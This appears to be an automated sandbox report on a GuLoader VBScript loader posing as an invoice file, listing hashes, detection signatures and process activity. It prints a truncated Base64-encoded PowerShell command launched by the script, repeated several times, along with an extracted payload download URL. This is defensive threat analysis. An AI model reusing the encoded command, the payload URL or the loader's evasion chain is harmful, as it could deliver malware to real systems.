Windows Analysis Report
WWVN_INVOICE_8363567453.vbs

Overview

General Information

Sample Name: WWVN_INVOICE_8363567453.vbs
Analysis ID: 623396
MD5: 9f8e253fd51c33a2f874942ebc0d3795
SHA1: 6868a9005489e56542cf0df063985132fef50f3d
SHA256: c33e4e9bf305cec123840dd87aa84c6d71e68ac82ea039418e1b8be3ed791b37
Infos:

Detection

GuLoader
Score: 84
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
C2 URLs / IPs found in malware configuration
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

AV Detection
barindex
Found malware configuration
Source: 00000010.00000002.763535179.0000000009970000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "http://barsam.com.au/bin_FCWtLoO90.bin"}
Multi AV Scanner detection for submitted file
Source: WWVN_INVOICE_8363567453.vbs ReversingLabs: Detection: 24%
Source: Binary string: k7C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.pdb source: powershell.exe, 00000010.00000002.758423763.000000000554C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.758073857.000000000536C000.00000004.00000800.00020000.00000000.sdmp

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://barsam.com.au/bin_FCWtLoO90.bin
Potential malicious VBS script found (has network functionality)
Source: Initial file: Than21.SaveToFile FileName, adSaveCreateOverWrite
Source: powershell.exe, 00000010.00000002.756793102.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000010.00000002.757728131.000000000525D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro

System Summary
barindex
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg Jump to behavior
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 16636
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 16636 Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: WWVN_INVOICE_8363567453.vbs Initial sample: Strings found which are bigger than 50
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_04F2E6B8 16_2_04F2E6B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_07EF9408 16_2_07EF9408
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_07EF9408 16_2_07EF9408
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_07EF0040 16_2_07EF0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_07EF001F 16_2_07EF001F
Abnormal high CPU Usage
Source: C:\Windows\System32\wscript.exe Process Stats: CPU usage > 98%
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Source: WWVN_INVOICE_8363567453.vbs ReversingLabs: Detection: 24%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\WWVN_INVOICE_8363567453.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD70A.tmp" "c:\Users\user\AppData\Local\Temp\nmk1nqgs\CSCB6EACAC7C331481095CED6A2215A0F6.TMP"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD70A.tmp" "c:\Users\user\AppData\Local\Temp\nmk1nqgs\CSCB6EACAC7C331481095CED6A2215A0F6.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6888:120:WilError_01
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\WWVN_INVOICE_8363567453.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220510 Jump to behavior
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\Hetero3.dat Jump to behavior
Source: classification engine Classification label: mal84.troj.evad.winVBS@8/9@0/0
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
